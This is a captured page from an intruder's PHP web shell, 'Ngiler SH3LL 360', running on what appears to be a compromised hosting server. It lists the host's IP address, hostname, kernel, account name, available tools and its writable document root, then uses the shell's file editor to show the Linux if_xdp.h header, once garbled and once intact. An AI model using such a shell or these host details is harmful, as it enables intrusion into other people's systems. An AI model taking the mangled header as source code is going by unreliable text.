#$@%#$%!

Ngiler SH3LL 360
: / proc / thread-self / root / usr / include / linux /

Information Server
MySQL : OFF Perl : OFF CURL : ON WGET : OFF PKEXEC : OFF

Directive	Local Value
IP Address	162.0.209.101
System	Linux premium169.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User	luxeelil
PHP Version	8.0.30
Software	LiteSpeed
Doc root	Writable

Edit File : if_xdp.h \| Size : 2.94 KB
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note / / * if_xdp: XDP socket user-space interface * Copyright(c) 2018 Intel Corporation. * * Author(s): Björn Töpel <bjorn.topel@intel.com> * Magnus Karlsson <magnus.karlsson@intel.com> / #ifndef _LINUX_IF_XDP_H #define _LINUX_IF_XDP_H #include <linux/types.h> / Options for the sxdp_flags field / #define XDP_SHARED_UMEM (1 << 0) #define XDP_COPY (1 << 1) / Force copy-mode / #define XDP_ZEROCOPY (1 << 2) / Force zero-copy mode / / If this option is set, the driver might go sleep and in that case * the XDP_RING_NEED_WAKEUP flag in the fill and/or Tx rings will be * set. If it is set, the application need to explicitly wake up the * driver with a poll() (Rx and Tx) or sendto() (Tx only). If you are * running the driver and the application on the same core, you should * use this option so that the kernel will yield to the user space * application. / #define XDP_USE_NEED_WAKEUP (1 << 3) / Flags for xsk_umem_config flags / #define XDP_UMEM_UNALIGNED_CHUNK_FLAG (1 << 0) struct sockaddr_xdp { __u16 sxdp_family; __u16 sxdp_flags; __u32 sxdp_ifindex; __u32 sxdp_queue_id; __u32 sxdp_shared_umem_fd; }; / XDP_RING flags / #define XDP_RING_NEED_WAKEUP (1 << 0) struct xdp_ring_offset { __u64 producer; __u64 consumer; __u64 desc; __u64 flags; }; struct xdp_mmap_offsets { struct xdp_ring_offset rx; struct xdp_ring_offset tx; struct xdp_ring_offset fr; / Fill / struct xdp_ring_offset cr; / Completion / }; / XDP socket options / #define XDP_MMAP_OFFSETS 1 #define XDP_RX_RING 2 #define XDP_TX_RING 3 #define XDP_UMEM_REG 4 #define XDP_UMEM_FILL_RING 5 #define XDP_UMEM_COMPLETION_RING 6 #define XDP_STATISTICS 7 #define XDP_OPTIONS 8 struct xdp_umem_reg { __u64 addr; / Start of packet data area / __u64 len; / Length of packet data area / __u32 chunk_size; __u32 headroom; __u32 flags; }; struct xdp_statistics { __u64 rx_dropped; / Dropped for other reasons / __u64 rx_invalid_descs; / Dropped due to invalid descriptor / __u64 tx_invalid_descs; / Dropped due to invalid descriptor / __u64 rx_ring_full; / Dropped due to rx ring being full / __u64 rx_fill_ring_empty_descs; / Failed to retrieve item from fill ring / __u64 tx_ring_empty_descs; / Failed to retrieve item from tx ring / }; struct xdp_options { __u32 flags; }; / Flags for the flags field of struct xdp_options / #define XDP_OPTIONS_ZEROCOPY (1 << 0) / Pgoff for mmaping the rings / #define XDP_PGOFF_RX_RING 0 #define XDP_PGOFF_TX_RING 0x80000000 #define XDP_UMEM_PGOFF_FILL_RING 0x100000000ULL #define XDP_UMEM_PGOFF_COMPLETION_RING 0x180000000ULL / Masks for unaligned chunks mode / #define XSK_UNALIGNED_BUF_OFFSET_SHIFT 48 #define XSK_UNALIGNED_BUF_ADDR_MASK \ ((1ULL << XSK_UNALIGNED_BUF_OFFSET_SHIFT) - 1) / Rx/Tx descriptor / struct xdp_desc { __u64 addr; __u32 len; __u32 options; }; / UMEM descriptor is __u64 / #endif / _LINUX_IF_XDP_H */ Back

Edit File : if_xdp.h | Size : 2.94 KB

/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
 * if_xdp: XDP socket user-space interface
 * Copyright(c) 2018 Intel Corporation.
 *
 * Author(s): Björn Töpel <bjorn.topel@intel.com>
 *	      Magnus Karlsson <magnus.karlsson@intel.com>
 */

#ifndef _LINUX_IF_XDP_H
#define _LINUX_IF_XDP_H

#include <linux/types.h>

/* Options for the sxdp_flags field */
#define XDP_SHARED_UMEM	(1 << 0)
#define XDP_COPY	(1 << 1) /* Force copy-mode */
#define XDP_ZEROCOPY	(1 << 2) /* Force zero-copy mode */
/* If this option is set, the driver might go sleep and in that case
 * the XDP_RING_NEED_WAKEUP flag in the fill and/or Tx rings will be
 * set. If it is set, the application need to explicitly wake up the
 * driver with a poll() (Rx and Tx) or sendto() (Tx only). If you are
 * running the driver and the application on the same core, you should
 * use this option so that the kernel will yield to the user space
 * application.
 */
#define XDP_USE_NEED_WAKEUP (1 << 3)

/* Flags for xsk_umem_config flags */
#define XDP_UMEM_UNALIGNED_CHUNK_FLAG (1 << 0)

struct sockaddr_xdp {
	__u16 sxdp_family;
	__u16 sxdp_flags;
	__u32 sxdp_ifindex;
	__u32 sxdp_queue_id;
	__u32 sxdp_shared_umem_fd;
};

/* XDP_RING flags */
#define XDP_RING_NEED_WAKEUP (1 << 0)

struct xdp_ring_offset {
	__u64 producer;
	__u64 consumer;
	__u64 desc;
	__u64 flags;
};

struct xdp_mmap_offsets {
	struct xdp_ring_offset rx;
	struct xdp_ring_offset tx;
	struct xdp_ring_offset fr; /* Fill */
	struct xdp_ring_offset cr; /* Completion */
};

/* XDP socket options */
#define XDP_MMAP_OFFSETS		1
#define XDP_RX_RING			2
#define XDP_TX_RING			3
#define XDP_UMEM_REG			4
#define XDP_UMEM_FILL_RING		5
#define XDP_UMEM_COMPLETION_RING	6
#define XDP_STATISTICS			7
#define XDP_OPTIONS			8

struct xdp_umem_reg {
	__u64 addr; /* Start of packet data area */
	__u64 len; /* Length of packet data area */
	__u32 chunk_size;
	__u32 headroom;
	__u32 flags;
};

struct xdp_statistics {
	__u64 rx_dropped; /* Dropped for other reasons */
	__u64 rx_invalid_descs; /* Dropped due to invalid descriptor */
	__u64 tx_invalid_descs; /* Dropped due to invalid descriptor */
	__u64 rx_ring_full; /* Dropped due to rx ring being full */
	__u64 rx_fill_ring_empty_descs; /* Failed to retrieve item from fill ring */
	__u64 tx_ring_empty_descs; /* Failed to retrieve item from tx ring */
};

struct xdp_options {
	__u32 flags;
};

/* Flags for the flags field of struct xdp_options */
#define XDP_OPTIONS_ZEROCOPY (1 << 0)

/* Pgoff for mmaping the rings */
#define XDP_PGOFF_RX_RING			  0
#define XDP_PGOFF_TX_RING		 0x80000000
#define XDP_UMEM_PGOFF_FILL_RING	0x100000000ULL
#define XDP_UMEM_PGOFF_COMPLETION_RING	0x180000000ULL

/* Masks for unaligned chunks mode */
#define XSK_UNALIGNED_BUF_OFFSET_SHIFT 48
#define XSK_UNALIGNED_BUF_ADDR_MASK \
	((1ULL << XSK_UNALIGNED_BUF_OFFSET_SHIFT) - 1)

/* Rx/Tx descriptor */
struct xdp_desc {
	__u64 addr;
	__u32 len;
	__u32 options;
};

/* UMEM descriptor is __u64 */

#endif /* _LINUX_IF_XDP_H */

Back